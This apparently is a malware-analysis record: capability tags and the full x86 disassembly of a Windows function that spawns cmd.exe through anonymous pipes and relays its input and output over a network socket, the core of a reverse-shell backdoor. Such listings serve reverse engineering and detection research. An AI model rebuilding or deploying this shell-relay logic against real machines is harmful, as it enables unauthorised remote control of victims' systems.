Function at 0x403d90
Capabilities:
Create pipe
Create process on windows
Create process suspended
Create reverse shell
Create two anonymous pipes
Read and send data from client to server
Read file on windows
Read pipe
Send data
Send data on socket
Write and execute a file
Write file on windows
Write pipe

Disassembly:
sub esp, 0x380
push ebx
push esi
push edi
mov edi, dword [esp + 0x390]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x28c]
mov eax, ecx
mov esi, edi
mov edi, edx
xor ebx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
lea edx, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
lea ecx, [esp + 0x30]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
mov dword [esp + 0x3c], 0xc
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], 1
call esi
lea ecx, [esp + 0x2c]
push ebx
lea edx, [esp + 0x28]
push ecx
lea eax, [esp + 0x1c]
push edx
push eax
call esi
lea ecx, [esp + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x48]
mov dword [esp + 0x84], eax
mov dword [esp + 0x88], eax
lea eax, [esp + 0x38]
mov edx, dword [esp + 0x20]
push eax
push ecx
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
push str.cmd.exe
push ebx
mov dword [esp + 0xa8], edx
mov dword [esp + 0x9c], 0x101
mov word [esp + 0xa0], bx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x404099
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x8d]
mov byte [esp + 0x8c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebp
mov byte [esp + 0x13], 1
stosb byte es:[edi], al
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x90]
push ebx
lea edx, [esp + 0x18]
push ebx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x20]
push edx
lea eax, [esp + 0x9c]
push 0x200
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x403f67
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x14]
push ebx
push edx
push eax
lea eax, [esp + 0x9c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebp, dword [0x4062b0]
mov dword [esp + 0x20], eax
cmp ebp, ebx
je 0x403f13
lea edi, [esp + 0x90]
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
mov eax, dword [ebp + 0x10]
lea edx, [esp + 0x94]
not ecx
dec ecx
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ebp, dword [0x4062b0]
lea esi, [esp + 0x290]
mov eax, str.exit
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x403f43
cmp cl, bl
je 0x403f3f
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x403f43
add eax, 2
add esi, 2
cmp cl, bl
jne 0x403f1f
xor eax, eax
jmp 0x403f48
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x404040
cmp dword [esp + 0x20], ebx
jbe 0x404060
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403e85
cmp byte [esp + 0x13], bl
je 0x403f9e
lea edi, [esp + 0x290]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x90]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x13], bl
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x403ff2
mov edi, str.exit
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x290]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x90]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x290]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x2c]
push ebx
push ecx
lea edi, [esp + 0x98]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
not ecx
dec ecx
lea edx, [esp + 0x98]
push ecx
push edx
push eax
call esi
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x2c]
push ebx
push ecx
push 2
push 0x405a40
push edx
call esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403e85
cmp ebp, ebx
je 0x404084
mov edi, 0x405fa8
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
mov eax, dword [ebp + 0x10]
not ecx
dec ecx
push ecx
push 0x405fa8
push eax
jmp 0x40407e
cmp ebp, ebx
je 0x404084
mov edi, 0x405f98
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [ebp + 0x10]
push 0x405f98
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov edx, dword [esp + 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x40]
push eax
call esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x380
ret